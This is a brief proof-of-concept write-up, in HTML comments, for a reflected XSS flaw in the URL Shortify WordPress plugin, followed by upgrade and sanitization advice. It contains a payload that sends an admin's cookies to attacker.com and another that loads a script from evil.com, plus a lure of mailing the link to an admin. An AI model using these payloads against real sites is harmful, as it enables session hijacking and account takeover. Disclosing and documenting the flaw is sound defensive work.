CVE-2025-13355

<!-- CVE-2025-13355 PoC - URL Shortify Reflected XSS --> <!-- This PoC demonstrates the reflected XSS in URL Shortify plugin < 1.11.4 --> <!-- Attacker creates a malicious URL targeting WordPress admin --> <!-- The malicious URL contains XSS payload in the vulnerable parameter --> <!-- Example attack URL (URL encode special characters as needed): --> <!-- https://target-site.com/?some_param=<script>alert(document.cookie)</script> --> <!-- More sophisticated payload for session hijacking: --> <!-- <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> --> <!-- Social engineering aspect: --> <!-- Attacker sends this link to admin via email or message --> <!-- When admin clicks, XSS executes in admin's browser context --> <!-- Technical details: --> <!-- 1. Plugin does: echo $_GET['param']; // Without sanitization --> <!-- 2. Attacker injects: <script src='https://evil.com/payload.js'></script> --> <!-- 3. Payload executes with admin privileges --> <!-- Mitigation: Upgrade to URL Shortify >= 1.11.4 --> <!-- Or apply proper input sanitization and output encoding --> <!-- Example fix: echo esc_html( sanitize_text_field( $_GET['param'] ) ); -->
